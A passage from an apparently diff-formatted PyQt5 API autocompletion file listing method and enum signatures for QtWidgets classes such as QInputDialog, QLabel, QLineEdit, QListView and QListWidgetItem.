QLineEdit.EchoMode echo=QLineEdit.Normal, QString text='', Qt.WindowFlags flags=Qt.WindowFlags(), Qt.InputMethodHints inputMethodHints=Qt.ImhNone) -> (QString, bool) +QtWidgets.QInputDialog.getInt?4(QWidget, QString, QString, int value=0, int min=-2147483647, int max=2147483647, int step=1, Qt.WindowFlags flags=Qt.WindowFlags()) -> (int, bool) +QtWidgets.QInputDialog.getDouble?4(QWidget, QString, QString, float value=0, float min=-2147483647, float max=2147483647, int decimals=1, Qt.WindowFlags flags=Qt.WindowFlags()) -> (float, bool) +QtWidgets.QInputDialog.getDouble?4(QWidget, QString, QString, float, float, float, int, Qt.WindowFlags, float) -> (float, bool) +QtWidgets.QInputDialog.getItem?4(QWidget, QString, QString, QStringList, int current=0, bool editable=True, Qt.WindowFlags flags=Qt.WindowFlags(), Qt.InputMethodHints inputMethodHints=Qt.ImhNone) -> (QString, bool) +QtWidgets.QInputDialog.getMultiLineText?4(QWidget, QString, QString, QString text='', Qt.WindowFlags flags=Qt.WindowFlags(), Qt.InputMethodHints inputMethodHints=Qt.ImhNone) -> (QString, bool) +QtWidgets.QInputDialog.setInputMode?4(QInputDialog.InputMode) +QtWidgets.QInputDialog.inputMode?4() -> QInputDialog.InputMode +QtWidgets.QInputDialog.setLabelText?4(QString) +QtWidgets.QInputDialog.labelText?4() -> QString +QtWidgets.QInputDialog.setOption?4(QInputDialog.InputDialogOption, bool on=True) +QtWidgets.QInputDialog.testOption?4(QInputDialog.InputDialogOption) -> bool +QtWidgets.QInputDialog.setOptions?4(QInputDialog.InputDialogOptions) +QtWidgets.QInputDialog.options?4() -> QInputDialog.InputDialogOptions +QtWidgets.QInputDialog.setTextValue?4(QString) +QtWidgets.QInputDialog.textValue?4() -> QString +QtWidgets.QInputDialog.setTextEchoMode?4(QLineEdit.EchoMode) +QtWidgets.QInputDialog.textEchoMode?4() -> QLineEdit.EchoMode +QtWidgets.QInputDialog.setComboBoxEditable?4(bool) +QtWidgets.QInputDialog.isComboBoxEditable?4() -> bool +QtWidgets.QInputDialog.setComboBoxItems?4(QStringList) +QtWidgets.QInputDialog.comboBoxItems?4() -> QStringList +QtWidgets.QInputDialog.setIntValue?4(int) +QtWidgets.QInputDialog.intValue?4() -> int +QtWidgets.QInputDialog.setIntMinimum?4(int) +QtWidgets.QInputDialog.intMinimum?4() -> int +QtWidgets.QInputDialog.setIntMaximum?4(int) +QtWidgets.QInputDialog.intMaximum?4() -> int +QtWidgets.QInputDialog.setIntRange?4(int, int) +QtWidgets.QInputDialog.setIntStep?4(int) +QtWidgets.QInputDialog.intStep?4() -> int +QtWidgets.QInputDialog.setDoubleValue?4(float) +QtWidgets.QInputDialog.doubleValue?4() -> float +QtWidgets.QInputDialog.setDoubleMinimum?4(float) +QtWidgets.QInputDialog.doubleMinimum?4() -> float +QtWidgets.QInputDialog.setDoubleMaximum?4(float) +QtWidgets.QInputDialog.doubleMaximum?4() -> float +QtWidgets.QInputDialog.setDoubleRange?4(float, float) +QtWidgets.QInputDialog.setDoubleDecimals?4(int) +QtWidgets.QInputDialog.doubleDecimals?4() -> int +QtWidgets.QInputDialog.setOkButtonText?4(QString) +QtWidgets.QInputDialog.okButtonText?4() -> QString +QtWidgets.QInputDialog.setCancelButtonText?4(QString) +QtWidgets.QInputDialog.cancelButtonText?4() -> QString +QtWidgets.QInputDialog.open?4() +QtWidgets.QInputDialog.open?4(object) +QtWidgets.QInputDialog.minimumSizeHint?4() -> QSize +QtWidgets.QInputDialog.sizeHint?4() -> QSize +QtWidgets.QInputDialog.setVisible?4(bool) +QtWidgets.QInputDialog.done?4(int) +QtWidgets.QInputDialog.textValueChanged?4(QString) +QtWidgets.QInputDialog.textValueSelected?4(QString) +QtWidgets.QInputDialog.intValueChanged?4(int) +QtWidgets.QInputDialog.intValueSelected?4(int) +QtWidgets.QInputDialog.doubleValueChanged?4(float) +QtWidgets.QInputDialog.doubleValueSelected?4(float) +QtWidgets.QInputDialog.setDoubleStep?4(float) +QtWidgets.QInputDialog.doubleStep?4() -> float +QtWidgets.QInputDialog.InputDialogOptions?1() +QtWidgets.QInputDialog.InputDialogOptions.__init__?1(self) +QtWidgets.QInputDialog.InputDialogOptions?1(int) +QtWidgets.QInputDialog.InputDialogOptions.__init__?1(self, int) +QtWidgets.QInputDialog.InputDialogOptions?1(QInputDialog.InputDialogOptions) +QtWidgets.QInputDialog.InputDialogOptions.__init__?1(self, QInputDialog.InputDialogOptions) +QtWidgets.QItemDelegate?1(QObject parent=None) +QtWidgets.QItemDelegate.__init__?1(self, QObject parent=None) +QtWidgets.QItemDelegate.paint?4(QPainter, QStyleOptionViewItem, QModelIndex) +QtWidgets.QItemDelegate.sizeHint?4(QStyleOptionViewItem, QModelIndex) -> QSize +QtWidgets.QItemDelegate.createEditor?4(QWidget, QStyleOptionViewItem, QModelIndex) -> QWidget +QtWidgets.QItemDelegate.setEditorData?4(QWidget, QModelIndex) +QtWidgets.QItemDelegate.setModelData?4(QWidget, QAbstractItemModel, QModelIndex) +QtWidgets.QItemDelegate.updateEditorGeometry?4(QWidget, QStyleOptionViewItem, QModelIndex) +QtWidgets.QItemDelegate.itemEditorFactory?4() -> QItemEditorFactory +QtWidgets.QItemDelegate.setItemEditorFactory?4(QItemEditorFactory) +QtWidgets.QItemDelegate.hasClipping?4() -> bool +QtWidgets.QItemDelegate.setClipping?4(bool) +QtWidgets.QItemDelegate.drawBackground?4(QPainter, QStyleOptionViewItem, QModelIndex) +QtWidgets.QItemDelegate.drawCheck?4(QPainter, QStyleOptionViewItem, QRect, Qt.CheckState) +QtWidgets.QItemDelegate.drawDecoration?4(QPainter, QStyleOptionViewItem, QRect, QPixmap) +QtWidgets.QItemDelegate.drawDisplay?4(QPainter, QStyleOptionViewItem, QRect, QString) +QtWidgets.QItemDelegate.drawFocus?4(QPainter, QStyleOptionViewItem, QRect) +QtWidgets.QItemDelegate.eventFilter?4(QObject, QEvent) -> bool +QtWidgets.QItemDelegate.editorEvent?4(QEvent, QAbstractItemModel, QStyleOptionViewItem, QModelIndex) -> bool +QtWidgets.QItemEditorCreatorBase?1() +QtWidgets.QItemEditorCreatorBase.__init__?1(self) +QtWidgets.QItemEditorCreatorBase?1(QItemEditorCreatorBase) +QtWidgets.QItemEditorCreatorBase.__init__?1(self, QItemEditorCreatorBase) +QtWidgets.QItemEditorCreatorBase.createWidget?4(QWidget) -> QWidget +QtWidgets.QItemEditorCreatorBase.valuePropertyName?4() -> QByteArray +QtWidgets.QItemEditorFactory?1() +QtWidgets.QItemEditorFactory.__init__?1(self) +QtWidgets.QItemEditorFactory?1(QItemEditorFactory) +QtWidgets.QItemEditorFactory.__init__?1(self, QItemEditorFactory) +QtWidgets.QItemEditorFactory.createEditor?4(int, QWidget) -> QWidget +QtWidgets.QItemEditorFactory.valuePropertyName?4(int) -> QByteArray +QtWidgets.QItemEditorFactory.registerEditor?4(int, QItemEditorCreatorBase) +QtWidgets.QItemEditorFactory.defaultFactory?4() -> QItemEditorFactory +QtWidgets.QItemEditorFactory.setDefaultFactory?4(QItemEditorFactory) +QtWidgets.QKeyEventTransition?1(QState sourceState=None) +QtWidgets.QKeyEventTransition.__init__?1(self, QState sourceState=None) +QtWidgets.QKeyEventTransition?1(QObject, QEvent.Type, int, QState sourceState=None) +QtWidgets.QKeyEventTransition.__init__?1(self, QObject, QEvent.Type, int, QState sourceState=None) +QtWidgets.QKeyEventTransition.key?4() -> int +QtWidgets.QKeyEventTransition.setKey?4(int) +QtWidgets.QKeyEventTransition.modifierMask?4() -> Qt.KeyboardModifiers +QtWidgets.QKeyEventTransition.setModifierMask?4(Qt.KeyboardModifiers) +QtWidgets.QKeyEventTransition.onTransition?4(QEvent) +QtWidgets.QKeyEventTransition.eventTest?4(QEvent) -> bool +QtWidgets.QKeySequenceEdit?1(QWidget parent=None) +QtWidgets.QKeySequenceEdit.__init__?1(self, QWidget parent=None) +QtWidgets.QKeySequenceEdit?1(QKeySequence, QWidget parent=None) +QtWidgets.QKeySequenceEdit.__init__?1(self, QKeySequence, QWidget parent=None) +QtWidgets.QKeySequenceEdit.keySequence?4() -> QKeySequence +QtWidgets.QKeySequenceEdit.setKeySequence?4(QKeySequence) +QtWidgets.QKeySequenceEdit.clear?4() +QtWidgets.QKeySequenceEdit.editingFinished?4() +QtWidgets.QKeySequenceEdit.keySequenceChanged?4(QKeySequence) +QtWidgets.QKeySequenceEdit.event?4(QEvent) -> bool +QtWidgets.QKeySequenceEdit.keyPressEvent?4(QKeyEvent) +QtWidgets.QKeySequenceEdit.keyReleaseEvent?4(QKeyEvent) +QtWidgets.QKeySequenceEdit.timerEvent?4(QTimerEvent) +QtWidgets.QLabel?1(QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QLabel.__init__?1(self, QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QLabel?1(QString, QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QLabel.__init__?1(self, QString, QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QLabel.text?4() -> QString +QtWidgets.QLabel.pixmap?4() -> QPixmap +QtWidgets.QLabel.picture?4() -> QPicture +QtWidgets.QLabel.movie?4() -> QMovie +QtWidgets.QLabel.textFormat?4() -> Qt.TextFormat +QtWidgets.QLabel.setTextFormat?4(Qt.TextFormat) +QtWidgets.QLabel.alignment?4() -> Qt.Alignment +QtWidgets.QLabel.setAlignment?4(Qt.Alignment) +QtWidgets.QLabel.setWordWrap?4(bool) +QtWidgets.QLabel.wordWrap?4() -> bool +QtWidgets.QLabel.indent?4() -> int +QtWidgets.QLabel.setIndent?4(int) +QtWidgets.QLabel.margin?4() -> int +QtWidgets.QLabel.setMargin?4(int) +QtWidgets.QLabel.hasScaledContents?4() -> bool +QtWidgets.QLabel.setScaledContents?4(bool) +QtWidgets.QLabel.sizeHint?4() -> QSize +QtWidgets.QLabel.minimumSizeHint?4() -> QSize +QtWidgets.QLabel.setBuddy?4(QWidget) +QtWidgets.QLabel.buddy?4() -> QWidget +QtWidgets.QLabel.heightForWidth?4(int) -> int +QtWidgets.QLabel.openExternalLinks?4() -> bool +QtWidgets.QLabel.setTextInteractionFlags?4(Qt.TextInteractionFlags) +QtWidgets.QLabel.textInteractionFlags?4() -> Qt.TextInteractionFlags +QtWidgets.QLabel.setOpenExternalLinks?4(bool) +QtWidgets.QLabel.clear?4() +QtWidgets.QLabel.setMovie?4(QMovie) +QtWidgets.QLabel.setNum?4(float) +QtWidgets.QLabel.setNum?4(int) +QtWidgets.QLabel.setPicture?4(QPicture) +QtWidgets.QLabel.setPixmap?4(QPixmap) +QtWidgets.QLabel.setText?4(QString) +QtWidgets.QLabel.linkActivated?4(QString) +QtWidgets.QLabel.linkHovered?4(QString) +QtWidgets.QLabel.event?4(QEvent) -> bool +QtWidgets.QLabel.paintEvent?4(QPaintEvent) +QtWidgets.QLabel.changeEvent?4(QEvent) +QtWidgets.QLabel.keyPressEvent?4(QKeyEvent) +QtWidgets.QLabel.mousePressEvent?4(QMouseEvent) +QtWidgets.QLabel.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QLabel.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QLabel.contextMenuEvent?4(QContextMenuEvent) +QtWidgets.QLabel.focusInEvent?4(QFocusEvent) +QtWidgets.QLabel.focusOutEvent?4(QFocusEvent) +QtWidgets.QLabel.focusNextPrevChild?4(bool) -> bool +QtWidgets.QLabel.setSelection?4(int, int) +QtWidgets.QLabel.hasSelectedText?4() -> bool +QtWidgets.QLabel.selectedText?4() -> QString +QtWidgets.QLabel.selectionStart?4() -> int +QtWidgets.QSpacerItem?1(int, int, QSizePolicy.Policy hPolicy=QSizePolicy.Minimum, QSizePolicy.Policy vPolicy=QSizePolicy.Minimum) +QtWidgets.QSpacerItem.__init__?1(self, int, int, QSizePolicy.Policy hPolicy=QSizePolicy.Minimum, QSizePolicy.Policy vPolicy=QSizePolicy.Minimum) +QtWidgets.QSpacerItem?1(QSpacerItem) +QtWidgets.QSpacerItem.__init__?1(self, QSpacerItem) +QtWidgets.QSpacerItem.changeSize?4(int, int, QSizePolicy.Policy hPolicy=QSizePolicy.Minimum, QSizePolicy.Policy vPolicy=QSizePolicy.Minimum) +QtWidgets.QSpacerItem.sizeHint?4() -> QSize +QtWidgets.QSpacerItem.minimumSize?4() -> QSize +QtWidgets.QSpacerItem.maximumSize?4() -> QSize +QtWidgets.QSpacerItem.expandingDirections?4() -> Qt.Orientations +QtWidgets.QSpacerItem.isEmpty?4() -> bool +QtWidgets.QSpacerItem.setGeometry?4(QRect) +QtWidgets.QSpacerItem.geometry?4() -> QRect +QtWidgets.QSpacerItem.spacerItem?4() -> QSpacerItem +QtWidgets.QSpacerItem.sizePolicy?4() -> QSizePolicy +QtWidgets.QWidgetItem?1(QWidget) +QtWidgets.QWidgetItem.__init__?1(self, QWidget) +QtWidgets.QWidgetItem.sizeHint?4() -> QSize +QtWidgets.QWidgetItem.minimumSize?4() -> QSize +QtWidgets.QWidgetItem.maximumSize?4() -> QSize +QtWidgets.QWidgetItem.expandingDirections?4() -> Qt.Orientations +QtWidgets.QWidgetItem.isEmpty?4() -> bool +QtWidgets.QWidgetItem.setGeometry?4(QRect) +QtWidgets.QWidgetItem.geometry?4() -> QRect +QtWidgets.QWidgetItem.widget?4() -> QWidget +QtWidgets.QWidgetItem.hasHeightForWidth?4() -> bool +QtWidgets.QWidgetItem.heightForWidth?4(int) -> int +QtWidgets.QWidgetItem.controlTypes?4() -> QSizePolicy.ControlTypes +QtWidgets.QLCDNumber.SegmentStyle?10 +QtWidgets.QLCDNumber.SegmentStyle.Outline?10 +QtWidgets.QLCDNumber.SegmentStyle.Filled?10 +QtWidgets.QLCDNumber.SegmentStyle.Flat?10 +QtWidgets.QLCDNumber.Mode?10 +QtWidgets.QLCDNumber.Mode.Hex?10 +QtWidgets.QLCDNumber.Mode.Dec?10 +QtWidgets.QLCDNumber.Mode.Oct?10 +QtWidgets.QLCDNumber.Mode.Bin?10 +QtWidgets.QLCDNumber?1(QWidget parent=None) +QtWidgets.QLCDNumber.__init__?1(self, QWidget parent=None) +QtWidgets.QLCDNumber?1(int, QWidget parent=None) +QtWidgets.QLCDNumber.__init__?1(self, int, QWidget parent=None) +QtWidgets.QLCDNumber.smallDecimalPoint?4() -> bool +QtWidgets.QLCDNumber.digitCount?4() -> int +QtWidgets.QLCDNumber.setDigitCount?4(int) +QtWidgets.QLCDNumber.setNumDigits?4(int) +QtWidgets.QLCDNumber.checkOverflow?4(float) -> bool +QtWidgets.QLCDNumber.checkOverflow?4(int) -> bool +QtWidgets.QLCDNumber.mode?4() -> QLCDNumber.Mode +QtWidgets.QLCDNumber.setMode?4(QLCDNumber.Mode) +QtWidgets.QLCDNumber.segmentStyle?4() -> QLCDNumber.SegmentStyle +QtWidgets.QLCDNumber.setSegmentStyle?4(QLCDNumber.SegmentStyle) +QtWidgets.QLCDNumber.value?4() -> float +QtWidgets.QLCDNumber.intValue?4() -> int +QtWidgets.QLCDNumber.sizeHint?4() -> QSize +QtWidgets.QLCDNumber.display?4(QString) +QtWidgets.QLCDNumber.display?4(float) +QtWidgets.QLCDNumber.display?4(int) +QtWidgets.QLCDNumber.setHexMode?4() +QtWidgets.QLCDNumber.setDecMode?4() +QtWidgets.QLCDNumber.setOctMode?4() +QtWidgets.QLCDNumber.setBinMode?4() +QtWidgets.QLCDNumber.setSmallDecimalPoint?4(bool) +QtWidgets.QLCDNumber.overflow?4() +QtWidgets.QLCDNumber.event?4(QEvent) -> bool +QtWidgets.QLCDNumber.paintEvent?4(QPaintEvent) +QtWidgets.QLineEdit.ActionPosition?10 +QtWidgets.QLineEdit.ActionPosition.LeadingPosition?10 +QtWidgets.QLineEdit.ActionPosition.TrailingPosition?10 +QtWidgets.QLineEdit.EchoMode?10 +QtWidgets.QLineEdit.EchoMode.Normal?10 +QtWidgets.QLineEdit.EchoMode.NoEcho?10 +QtWidgets.QLineEdit.EchoMode.Password?10 +QtWidgets.QLineEdit.EchoMode.PasswordEchoOnEdit?10 +QtWidgets.QLineEdit?1(QWidget parent=None) +QtWidgets.QLineEdit.__init__?1(self, QWidget parent=None) +QtWidgets.QLineEdit?1(QString, QWidget parent=None) +QtWidgets.QLineEdit.__init__?1(self, QString, QWidget parent=None) +QtWidgets.QLineEdit.text?4() -> QString +QtWidgets.QLineEdit.displayText?4() -> QString +QtWidgets.QLineEdit.maxLength?4() -> int +QtWidgets.QLineEdit.setMaxLength?4(int) +QtWidgets.QLineEdit.setFrame?4(bool) +QtWidgets.QLineEdit.hasFrame?4() -> bool +QtWidgets.QLineEdit.echoMode?4() -> QLineEdit.EchoMode +QtWidgets.QLineEdit.setEchoMode?4(QLineEdit.EchoMode) +QtWidgets.QLineEdit.isReadOnly?4() -> bool +QtWidgets.QLineEdit.setReadOnly?4(bool) +QtWidgets.QLineEdit.setValidator?4(QValidator) +QtWidgets.QLineEdit.validator?4() -> QValidator +QtWidgets.QLineEdit.sizeHint?4() -> QSize +QtWidgets.QLineEdit.minimumSizeHint?4() -> QSize +QtWidgets.QLineEdit.cursorPosition?4() -> int +QtWidgets.QLineEdit.setCursorPosition?4(int) +QtWidgets.QLineEdit.cursorPositionAt?4(QPoint) -> int +QtWidgets.QLineEdit.setAlignment?4(Qt.Alignment) +QtWidgets.QLineEdit.alignment?4() -> Qt.Alignment +QtWidgets.QLineEdit.cursorForward?4(bool, int steps=1) +QtWidgets.QLineEdit.cursorBackward?4(bool, int steps=1) +QtWidgets.QLineEdit.cursorWordForward?4(bool) +QtWidgets.QLineEdit.cursorWordBackward?4(bool) +QtWidgets.QLineEdit.backspace?4() +QtWidgets.QLineEdit.del_?4() +QtWidgets.QLineEdit.home?4(bool) +QtWidgets.QLineEdit.end?4(bool) +QtWidgets.QLineEdit.isModified?4() -> bool +QtWidgets.QLineEdit.setModified?4(bool) +QtWidgets.QLineEdit.setSelection?4(int, int) +QtWidgets.QLineEdit.hasSelectedText?4() -> bool +QtWidgets.QLineEdit.selectedText?4() -> QString +QtWidgets.QLineEdit.selectionStart?4() -> int +QtWidgets.QLineEdit.isUndoAvailable?4() -> bool +QtWidgets.QLineEdit.isRedoAvailable?4() -> bool +QtWidgets.QLineEdit.setDragEnabled?4(bool) +QtWidgets.QLineEdit.dragEnabled?4() -> bool +QtWidgets.QLineEdit.inputMask?4() -> QString +QtWidgets.QLineEdit.setInputMask?4(QString) +QtWidgets.QLineEdit.hasAcceptableInput?4() -> bool +QtWidgets.QLineEdit.setText?4(QString) +QtWidgets.QLineEdit.clear?4() +QtWidgets.QLineEdit.selectAll?4() +QtWidgets.QLineEdit.undo?4() +QtWidgets.QLineEdit.redo?4() +QtWidgets.QLineEdit.cut?4() +QtWidgets.QLineEdit.copy?4() +QtWidgets.QLineEdit.paste?4() +QtWidgets.QLineEdit.deselect?4() +QtWidgets.QLineEdit.insert?4(QString) +QtWidgets.QLineEdit.createStandardContextMenu?4() -> QMenu +QtWidgets.QLineEdit.textChanged?4(QString) +QtWidgets.QLineEdit.textEdited?4(QString) +QtWidgets.QLineEdit.cursorPositionChanged?4(int, int) +QtWidgets.QLineEdit.returnPressed?4() +QtWidgets.QLineEdit.editingFinished?4() +QtWidgets.QLineEdit.selectionChanged?4() +QtWidgets.QLineEdit.initStyleOption?4(QStyleOptionFrame) +QtWidgets.QLineEdit.mousePressEvent?4(QMouseEvent) +QtWidgets.QLineEdit.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QLineEdit.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QLineEdit.mouseDoubleClickEvent?4(QMouseEvent) +QtWidgets.QLineEdit.keyPressEvent?4(QKeyEvent) +QtWidgets.QLineEdit.focusInEvent?4(QFocusEvent) +QtWidgets.QLineEdit.focusOutEvent?4(QFocusEvent) +QtWidgets.QLineEdit.paintEvent?4(QPaintEvent) +QtWidgets.QLineEdit.dragEnterEvent?4(QDragEnterEvent) +QtWidgets.QLineEdit.dragMoveEvent?4(QDragMoveEvent) +QtWidgets.QLineEdit.dragLeaveEvent?4(QDragLeaveEvent) +QtWidgets.QLineEdit.dropEvent?4(QDropEvent) +QtWidgets.QLineEdit.changeEvent?4(QEvent) +QtWidgets.QLineEdit.contextMenuEvent?4(QContextMenuEvent) +QtWidgets.QLineEdit.inputMethodEvent?4(QInputMethodEvent) +QtWidgets.QLineEdit.cursorRect?4() -> QRect +QtWidgets.QLineEdit.inputMethodQuery?4(Qt.InputMethodQuery) -> QVariant +QtWidgets.QLineEdit.event?4(QEvent) -> bool +QtWidgets.QLineEdit.setCompleter?4(QCompleter) +QtWidgets.QLineEdit.completer?4() -> QCompleter +QtWidgets.QLineEdit.setTextMargins?4(int, int, int, int) +QtWidgets.QLineEdit.getTextMargins?4() -> (int, int, int, int) +QtWidgets.QLineEdit.setTextMargins?4(QMargins) +QtWidgets.QLineEdit.textMargins?4() -> QMargins +QtWidgets.QLineEdit.placeholderText?4() -> QString +QtWidgets.QLineEdit.setPlaceholderText?4(QString) +QtWidgets.QLineEdit.setCursorMoveStyle?4(Qt.CursorMoveStyle) +QtWidgets.QLineEdit.cursorMoveStyle?4() -> Qt.CursorMoveStyle +QtWidgets.QLineEdit.setClearButtonEnabled?4(bool) +QtWidgets.QLineEdit.isClearButtonEnabled?4() -> bool +QtWidgets.QLineEdit.addAction?4(QAction) +QtWidgets.QLineEdit.addAction?4(QAction, QLineEdit.ActionPosition) +QtWidgets.QLineEdit.addAction?4(QIcon, QLineEdit.ActionPosition) -> QAction +QtWidgets.QLineEdit.inputMethodQuery?4(Qt.InputMethodQuery, QVariant) -> QVariant +QtWidgets.QLineEdit.selectionEnd?4() -> int +QtWidgets.QLineEdit.selectionLength?4() -> int +QtWidgets.QLineEdit.inputRejected?4() +QtWidgets.QListView.ViewMode?10 +QtWidgets.QListView.ViewMode.ListMode?10 +QtWidgets.QListView.ViewMode.IconMode?10 +QtWidgets.QListView.LayoutMode?10 +QtWidgets.QListView.LayoutMode.SinglePass?10 +QtWidgets.QListView.LayoutMode.Batched?10 +QtWidgets.QListView.ResizeMode?10 +QtWidgets.QListView.ResizeMode.Fixed?10 +QtWidgets.QListView.ResizeMode.Adjust?10 +QtWidgets.QListView.Flow?10 +QtWidgets.QListView.Flow.LeftToRight?10 +QtWidgets.QListView.Flow.TopToBottom?10 +QtWidgets.QListView.Movement?10 +QtWidgets.QListView.Movement.Static?10 +QtWidgets.QListView.Movement.Free?10 +QtWidgets.QListView.Movement.Snap?10 +QtWidgets.QListView?1(QWidget parent=None) +QtWidgets.QListView.__init__?1(self, QWidget parent=None) +QtWidgets.QListView.setMovement?4(QListView.Movement) +QtWidgets.QListView.movement?4() -> QListView.Movement +QtWidgets.QListView.setFlow?4(QListView.Flow) +QtWidgets.QListView.flow?4() -> QListView.Flow +QtWidgets.QListView.setWrapping?4(bool) +QtWidgets.QListView.isWrapping?4() -> bool +QtWidgets.QListView.setResizeMode?4(QListView.ResizeMode) +QtWidgets.QListView.resizeMode?4() -> QListView.ResizeMode +QtWidgets.QListView.setLayoutMode?4(QListView.LayoutMode) +QtWidgets.QListView.layoutMode?4() -> QListView.LayoutMode +QtWidgets.QListView.setSpacing?4(int) +QtWidgets.QListView.spacing?4() -> int +QtWidgets.QListView.setGridSize?4(QSize) +QtWidgets.QListView.gridSize?4() -> QSize +QtWidgets.QListView.setViewMode?4(QListView.ViewMode) +QtWidgets.QListView.viewMode?4() -> QListView.ViewMode +QtWidgets.QListView.clearPropertyFlags?4() +QtWidgets.QListView.isRowHidden?4(int) -> bool +QtWidgets.QListView.setRowHidden?4(int, bool) +QtWidgets.QListView.setModelColumn?4(int) +QtWidgets.QListView.modelColumn?4() -> int +QtWidgets.QListView.setUniformItemSizes?4(bool) +QtWidgets.QListView.uniformItemSizes?4() -> bool +QtWidgets.QListView.visualRect?4(QModelIndex) -> QRect +QtWidgets.QListView.scrollTo?4(QModelIndex, QAbstractItemView.ScrollHint hint=QAbstractItemView.EnsureVisible) +QtWidgets.QListView.indexAt?4(QPoint) -> QModelIndex +QtWidgets.QListView.reset?4() +QtWidgets.QListView.setRootIndex?4(QModelIndex) +QtWidgets.QListView.indexesMoved?4(unknown-type) +QtWidgets.QListView.scrollContentsBy?4(int, int) +QtWidgets.QListView.dataChanged?4(QModelIndex, QModelIndex, unknown-type roles=[]) +QtWidgets.QListView.rowsInserted?4(QModelIndex, int, int) +QtWidgets.QListView.rowsAboutToBeRemoved?4(QModelIndex, int, int) +QtWidgets.QListView.event?4(QEvent) -> bool +QtWidgets.QListView.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QListView.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QListView.timerEvent?4(QTimerEvent) +QtWidgets.QListView.resizeEvent?4(QResizeEvent) +QtWidgets.QListView.dragMoveEvent?4(QDragMoveEvent) +QtWidgets.QListView.dragLeaveEvent?4(QDragLeaveEvent) +QtWidgets.QListView.dropEvent?4(QDropEvent) +QtWidgets.QListView.wheelEvent?4(QWheelEvent) +QtWidgets.QListView.startDrag?4(Qt.DropActions) +QtWidgets.QListView.viewOptions?4() -> QStyleOptionViewItem +QtWidgets.QListView.paintEvent?4(QPaintEvent) +QtWidgets.QListView.horizontalOffset?4() -> int +QtWidgets.QListView.verticalOffset?4() -> int +QtWidgets.QListView.moveCursor?4(QAbstractItemView.CursorAction, Qt.KeyboardModifiers) -> QModelIndex +QtWidgets.QListView.rectForIndex?4(QModelIndex) -> QRect +QtWidgets.QListView.setPositionForIndex?4(QPoint, QModelIndex) +QtWidgets.QListView.setSelection?4(QRect, QItemSelectionModel.SelectionFlags) +QtWidgets.QListView.visualRegionForSelection?4(QItemSelection) -> QRegion +QtWidgets.QListView.selectedIndexes?4() -> unknown-type +QtWidgets.QListView.updateGeometries?4() +QtWidgets.QListView.isIndexHidden?4(QModelIndex) -> bool +QtWidgets.QListView.viewportSizeHint?4() -> QSize +QtWidgets.QListView.setBatchSize?4(int) +QtWidgets.QListView.batchSize?4() -> int +QtWidgets.QListView.setWordWrap?4(bool) +QtWidgets.QListView.wordWrap?4() -> bool +QtWidgets.QListView.setSelectionRectVisible?4(bool) +QtWidgets.QListView.isSelectionRectVisible?4() -> bool +QtWidgets.QListView.selectionChanged?4(QItemSelection, QItemSelection) +QtWidgets.QListView.currentChanged?4(QModelIndex, QModelIndex) +QtWidgets.QListView.setItemAlignment?4(Qt.Alignment) +QtWidgets.QListView.itemAlignment?4() -> Qt.Alignment +QtWidgets.QListWidgetItem.ItemType?10 +QtWidgets.QListWidgetItem.ItemType.Type?10 +QtWidgets.QListWidgetItem.ItemType.UserType?10 +QtWidgets.QListWidgetItem?1(QListWidget parent=None, int type=QListWidgetItem.Type) +QtWidgets.QListWidgetItem.__init__?1(self, QListWidget parent=None, int type=QListWidgetItem.Type) +QtWidgets.QListWidgetItem?1(QString, QListWidget parent=None, int type=QListWidgetItem.Type) +QtWidgets.QListWidgetItem.__init__?1(self, QString, QListWidget parent=None, int type=QListWidgetItem.Type) +QtWidgets.QListWidgetItem?1(QIcon, QString, QListWidget parent=None, int type=QListWidgetItem.Type) +QtWidgets.QListWidgetItem.__init__?1(self, QIcon, QString, QListWidget parent=None, int type=QListWidgetItem.Type) +QtWidgets.QListWidgetItem?1(QListWidgetItem) +QtWidgets.QListWidgetItem.__init__?1(self, QListWidgetItem) +QtWidgets.QListWidgetItem.clone?4() -> QListWidgetItem +QtWidgets.QListWidgetItem.listWidget?4() -> QListWidget +QtWidgets.QListWidgetItem.flags?4() -> Qt.ItemFlags +QtWidgets.QListWidgetItem.text?4() -> QString +QtWidgets.QListWidgetItem.icon?4() -> QIcon +QtWidgets.QListWidgetItem.statusTip?4() -> QString +QtWidgets.QListWidgetItem.toolTip?4() -> QString +QtWidgets.QListWidgetItem.whatsThis?4() -> QString +QtWidgets.QListWidgetItem.font?4() -> QFont +QtWidgets.QListWidgetItem.textAlignment?4() -> int +QtWidgets.QListWidgetItem.setTextAlignment?4(int) +QtWidgets.QListWidgetItem.checkState?4() -> Qt.CheckState +QtWidgets.QListWidgetItem.setCheckState?4(Qt.CheckState) +QtWidgets.QListWidgetItem.sizeHint?4() -> QSize +QtWidgets.QListWidgetItem.setSizeHint?4(QSize) +QtWidgets.QListWidgetItem.data?4(int) -> QVariant +QtWidgets.QListWidgetItem.setData?4(int, QVariant) +QtWidgets.QListWidgetItem.read?4(QDataStream) +QtWidgets.QListWidgetItem.write?4(QDataStream) +QtWidgets.QListWidgetItem.type?4() -> int +QtWidgets.QListWidgetItem.setFlags?4(Qt.ItemFlags) +QtWidgets.QListWidgetItem.setText?4(QString) +QtWidgets.QListWidgetItem.setIcon?4(QIcon) +QtWidgets.QListWidgetItem.setStatusTip?4(QString) +QtWidgets.QListWidgetItem.setToolTip?4(QString) +QtWidgets.QListWidgetItem.setWhatsThis?4(QString) +QtWidgets.QListWidgetItem.setFont?4(QFont) +QtWidgets.QListWidgetItem.background?4() -> QBrush +QtWidgets.QListWidgetItem.setBackground?4(QBrush) +QtWidgets.QListWidgetItem.foreground?4() -> QBrush +QtWidgets.QListWidgetItem.setForeground?4(QBrush) +QtWidgets.QListWidgetItem.setSelected?4(bool) +QtWidgets.QListWidgetItem.isSelected?4() -> bool +QtWidgets.QListWidgetItem.setHidden?4(bool) +QtWidgets.QListWidgetItem.isHidden?4() -> bool +QtWidgets.QListWidget?1(QWidget parent=None) +QtWidgets.QListWidget.__init__?1(self, QWidget parent=None) +QtWidgets.QListWidget.item?4(int) -> QListWidgetItem +QtWidgets.QListWidget.row?4(QListWidgetItem) -> int 